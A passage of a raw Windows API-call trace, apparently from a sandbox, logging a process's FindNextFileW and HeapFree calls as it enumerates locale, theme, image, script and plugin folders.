	[0173.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.956] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x297ddff, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.957] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x332d73b, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x332d73b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0173.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.957] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.957] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0173.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.957] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0173.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.957] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0173.957] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0173.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.958] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 0
	[0173.958] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0173.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.958] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.958] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0173.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0173.960] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1
	[0173.960] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.960] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0173.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.963] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0173.963] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0173.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.963] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0173.963] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0173.963] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.963] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0173.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.964] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0173.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.964] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0173.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.964] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0173.964] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.964] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0173.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.965] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0173.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.965] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0173.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.965] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0173.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.965] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0173.965] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.965] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0173.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.966] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0173.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.966] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0173.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.966] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0173.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.966] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0173.966] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.966] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0173.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.967] FindNextFileW (in: hFindFile=0x4140a18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0173.967] FindClose (in: hFindFile=0x4140a18 | out: hFindFile=0x4140a18) returned 1
	[0173.967] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0173.967] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0173.971] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0173.971] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.971] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0173.971] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0173.971] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5080048 | out: hHeap=0x5a0000) returned 1
	[0173.973] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="home", cAlternateFileName="")) returned 1
	[0173.974] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.974] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0174.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0174.047] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0174.047] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0174.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0174.047] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0174.047] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0174.047] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.047] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0174.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.394] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0174.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.396] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0174.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.396] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0174.397] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
